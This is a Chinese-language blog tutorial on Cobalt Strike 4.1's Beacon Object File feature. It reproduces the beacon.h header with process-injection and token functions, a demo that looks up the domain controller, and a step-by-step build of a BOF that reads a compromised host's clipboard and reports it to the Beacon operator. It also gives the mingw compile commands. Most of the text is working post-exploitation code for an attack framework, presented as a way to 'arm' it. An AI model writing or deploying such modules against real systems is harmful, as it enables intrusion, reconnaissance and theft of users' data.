声明:
文章初衷只为攻防研究、技术交流只用。严禁利用相关技术去从事一切未经合法授权的入侵攻击破坏活动。因此产生的一切不良后果与文章作者及本公众号无关。
今天,群里的大佬分享出了CobaltStrike4.1(感谢师傅分享),于是拿来尝尝鲜。关于cs4.1新出的功能,在很早之前,公众号已发过相关文章,在此不再赘述,具体更新信息,可去(https://www.cobaltstrike.com/releasenotes.txt)查看。
本次更新的东西没有太多需要理解的地方,更多是在4.0的基础上修复了一些Bug,对一些细节进行了调整,比如删除了在新进程中生成x86负载的x64dll的选项、修复了getsystem的一些逻辑错误、添加smartinject功能、Mimikatz 更新至2.2.0 20200519等
不过对于我来说,更令我喜欢的还是其BOF功能,关于这个功能,简单来说就是beacon提供了一个内部的API,你可以通过这个API去开发一些自定义的模块,多用于横向移动,好处就是体积小,不过需要在本地先调试好,不然容易掉权限。官方链接如下:https://www.cobaltstrike.com/help-beacon-object-files
其中依赖于beacon.h,为了方便大家,我这里直接贴出来该文件的内容:
/*
* Beacon Object Files (BOF)
* -------------------------
* A Beacon Object File is a light-weight post exploitation tool that runs
* with Beacon's inline-execute command.
*
* Cobalt Strike 4.1.
*/
/* data API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} datap;
DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
/* format API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} formatp;
DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len);
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...);
DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
/* Output Functions */
#define CALLBACK_OUTPUT 0x0
#define CALLBACK_OUTPUT_OEM 0x1e
#define CALLBACK_ERROR 0x0d
#define CALLBACK_OUTPUT_UTF8 0x20
DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);
/* Token Functions */
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
DECLSPEC_IMPORT void BeaconRevertToken();
DECLSPEC_IMPORT BOOL BeaconIsAdmin();
/* Spawn+Inject Functions */
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
/* Utility Functions */
DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
然后编写c代码即可,
这里以作者给出的demo为例:
#include <windows.h>
#include <stdio.h>
#include <dsgetdc.h>
#include "beacon.h"
DECLSPEC_IMPORT DWORD WINAPI NETAPI32$DsGetDcNameA(LPVOID, LPVOID, LPVOID, LPVOID, ULONG, LPVOID);
DECLSPEC_IMPORT DWORD WINAPI NETAPI32$NetApiBufferFree(LPVOID);
void go(char * args, int alen) {
DWORD dwRet;
PDOMAIN_CONTROLLER_INFO pdcInfo;
dwRet = NETAPI32$DsGetDcNameA(NULL, NULL, NULL, NULL, 0, &pdcInfo);
if (ERROR_SUCCESS == dwRet) {
BeaconPrintf(CALLBACK_OUTPUT, "%s", pdcInfo->DomainName);
}
NETAPI32$NetApiBufferFree(pdcInfo);
}
然后用下面的方法,编译
* x86_64-w64-mingw32-gcc -c hello.c -o hello.x64.o
* i686-w64-mingw32-gcc -c hello.c -o hello.x86.o
这样我们便得到了.o的文件。
然后加载我们的脚本即可:
这样便做到了get域名成的目的。
对于有C语言功底的人来说,便可以使用其达到各种各样的功能,部分API如下:
那么接下来,我们便来手把手的写一个BOF来武装我们的CobaltStrike
如果你之前有c的开发经验,你会发现上面的demo中
DECLSPEC_IMPORT DWORD WINAPI NETAPI32$DsGetDcNameA(LPVOID, LPVOID, LPVOID, LPVOID, ULONG, LPVOID);
DECLSPEC_IMPORT DWORD WINAPI NETAPI32$NetApiBufferFree(LPVOID);
这一串是很少见到的,不过没关系,我们可以使用现成的工具来实现这个过程,比如我们要写一个剪切版劫持的BOF,我们需要用到下面几个api:
GetConsoleWindow
OpenClipboard
GetClipboardData
CloseClipboard
然后使用工具生产BOF所需要的内容:
那么
OpenClipboard
在BOF中则是:
DECLSPEC_IMPORT WINUSERAPI BOOL WINAPI USER32$OpenClipboard (HWND);
剩下的就好说了,按照之前的逻辑,编写代码就好了:
#include <windows.h>
#include <string.h>
#include <winuser.h>
#include "beacon.h"
DECLSPEC_IMPORT HWND WINAPI KERNEL32$GetConsoleWindow(void);
DECLSPEC_IMPORT WINUSERAPI BOOL WINAPI USER32$OpenClipboard(HWND);
DECLSPEC_IMPORT WINUSERAPI HANDLE WINAPI USER32$GetClipboardData(UINT);
DECLSPEC_IMPORT WINUSERAPI BOOL WINAPI USER32$CloseClipboard(void);
void go() {
HWND owner = KERNEL32$GetConsoleWindow();
USER32$OpenClipboard(owner);
owner = USER32$GetClipboardData(CF_TEXT);
BeaconPrintf(CALLBACK_OUTPUT, "%s\n", (char *)owner);;
USER32$CloseClipboard();
}
然后编译:
x86_64-w64-mingw32-gcc -c xx.c -o luser.x64.o
得到BOF文件,下面我们来试试效果:
成功获取剪切版的内容。